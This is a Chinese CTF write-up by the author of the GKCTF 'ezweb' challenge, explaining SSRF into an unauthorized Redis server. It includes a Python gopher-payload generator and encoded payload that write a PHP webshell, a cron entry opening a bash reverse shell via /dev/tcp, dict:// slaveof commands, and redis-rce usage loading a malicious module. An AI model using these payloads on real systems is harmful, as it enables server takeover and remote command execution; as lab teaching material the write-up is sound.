GKCTF-ezweb
我把docker打包到github上了
https://github.com/w4aaaander/CTF
感觉出的简单了...
考点:
- 内网探测
- ssrf+redis未授权
源码中注释了?secret
访问可以得到当前靶机的ip
看到有不少师傅去开buu上的内网机做,这里实际上是一个 web服务器 和一个redis 服务器组成的一个内网,是独立于单容器的内网,并且自动组网(来自赵总的解释),所以直接开内网机并不能访问到靶机,直接用ssrf会快得多(当时出题没考虑到结合buu的这个特殊性,在这里给各位师傅们谢罪...逃)
并且这里过滤的其实不严格,我多此一举的在file:后面加上了//,导致用file:/也可以读文件,这也是我的疏忽
继续,通过内网探测可以发现.11上开着web服务
根据提示进一步发现.11开着6379端口
然后可以利用gopher://协议写shell,可以用如下脚本生成exp
import urllib protocol="gopher://" ip="173.51.38.11" port="6379" shell="\n\n<?php system(\"cat /flag\");?>\n\n" filename="shell.php" path="/var/www/html" passwd="" cmd=["flushall", "set 1 {}".format(shell.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd if __name__=="__main__": for x in cmd: payload += urllib.quote(redis_format(x)) print payload
gopher://173.51.38.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
打过去再次访问.11/shell.php即可
第一次出题感觉确实拉跨了,原来想着考主从的,但是考虑到buu内网不是那么方便就直接开了web服务让师傅们写shell了,并且可能我没说清楚这题的特殊性导致很多师傅走了弯路,si ni ma sei
下面做了点小总结
redis未授权访问
一般来说如果redis暴露在公网并且没设置密钥保护就可能造成redis未授权访问
常见的方式有直接
写shell
> flushall > config set dir /var/www/html > config set dbfilename shell.php > set webshell "<?php phpinfo();?>" > save
或者写定时任务:
> flushall > set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1\n\n' > config set dir /var/spool/crontab/root > config set dbfilename root > save
但是上面的方式是直接进当前靶机操作的,如果比如想从kali上redis一个ubuntu,可以用
redis-cli -h ip
但是redis.conf如果中设置了bind ip ,那么这种方法就行不通了
ssrf+redis
例如我能通过某种手段对靶机进行ssrf,那么就可以用Gopher://协议或dict://协议对redis进行操作
gopher://
先来看gopher吧,因为数据比较特殊,可以在本地通过socat进行监听数据
下面的意思是访问2221端口实际上访问6379端口,相当于一个流量转发吧
root@ubuntu:~# socat -v tcp-listen:2221,fork tcp-connect:localhost:6379
redis写shell时加上- p 2221即可抓到真实数据流
> 2020/05/14 05:34:08.033689 length=18 from=0 to=17 *1\r $8\r flushall\r < 2020/05/14 05:34:08.036252 length=5 from=0 to=4 +OK\r > 2020/05/14 05:34:08.038985 length=54 from=0 to=53 *4\r $6\r config\r $3\r set\r $3\r dir\r $13\r /var/www/html\r < 2020/05/14 05:34:08.042783 length=5 from=0 to=4 +OK\r > 2020/05/14 05:34:08.044651 length=57 from=0 to=56 *4\r $6\r config\r $3\r set\r $10\r dbfilename\r $9\r shell.php\r < 2020/05/14 05:34:08.048444 length=5 from=0 to=4 +OK\r > 2020/05/14 05:34:08.050381 length=53 from=0 to=52 *3\r $3\r set\r $1\r 1\r $26\r <?php system($_POST[0]);?>\r < 2020/05/14 05:34:08.052386 length=5 from=0 to=4 +OK\r > 2020/05/14 05:34:08.054277 length=14 from=0 to=13 *1\r $4\r save\r < 2020/05/14 05:34:08.056068 length=5 from=0 to=4 +OK\r
redis中
在RESP中,某些数据的类型取决于第一个字节:
对于Simple Strings,回复的第一个字节是+
对于error,回复的第一个字节是-
对于Integer,回复的第一个字节是:
对于Bulk Strings,回复的第一个字节是$
对于array,回复的第一个字节是*
此外,RESP能够使用稍后指定的Bulk Strings或Array的特殊变体来表示Null值。
在RESP中,协议的不同部分始终以"\r\n"(CRLF)结束。
那么我们就需要将以上数据转换成对应的格式,脚本如下
f = open('payload.txt', 'r') s = '' for line in f.readlines(): line = line.replace(r"\r", "%0d%0a") line = line.replace("\n", '') s = s + line print s.replace("$", "%24")
或者先知上有直接生成的脚本(这个比较推荐):https://xz.aliyun.com/t/5665#toc-3
我贴在上面的ezweb里了,就不复制了
这样跑一下就能生成gopher协议的exp了
dict://
dict这个协议同样跟gopher性质类似,操作起来更简单一些
使用方法如下:
dict://172.24.0.3:6379/config:set:/var/www/html dict://172.24.0.3:6379/config:set:dbfilename:shell.php dict://172.24.0.3:6379/set:webshell:"<?php phpinfo();?>" dict://172.24.0.3:6379/save
如果有回显会返回ok,如下:
但是这时候去看一下redis靶机的shell会发现没有写入,或者干脆是乱码的形式
这时候就需要使用主从复制slaveof了,前提是两台服务器互通
首先在靶机上设置主从服务器
dict://172.24.0.3:6379/slaveof:ip:6379
这个时候靶机就从属与我们的主服务器了,并且会复制主服务器的信息
可以用info查看以下主从服务器信息:>info
可以看到slaveof成功连接,接下来先设置shell:
然后此时进入靶机容器,get webshell
发现成功复制shell
然后需要断开主从dict://127.0.0.1:6379/slaveof:no:one
接下来就跟上面的一样
dict://172.24.0.3:6379/config:set:dbfilename:shell.php dict://172.24.0.3:6379/set:webshell:<?php phpinfo();?> dict://172.24.0.3:6379/save
此时完美写入
redis加载so文件
除了上述两种写shell外,slaveof还能加载so文件getshell
貌似需要redis版本>5
网鼎杯玄武组的一道ssrf也是用了这个思路:
这里我用kali作为攻击192.168.190.169,ubuntu作为靶机192.168.190.153
首先ubuntu主从上kali
kali下info查看主从
确保连接成功后就可以用exp打了,用第一个的脚本,第二个的so
https://github.com/Ridter/redis-rce
https://github.com/n0b0dyCN/redis-rogue-server
python redis-rce.py -r 攻击ip -L 靶机ip -f exp.so
Reference:
https://xz.aliyun.com/t/5665#toc-3
https://www.t00ls.net/articles-56339.html
https://www.cnblogs.com/paperpen/p/11178751.html
来源:https://www.cnblogs.com/W4nder/p/12960596.html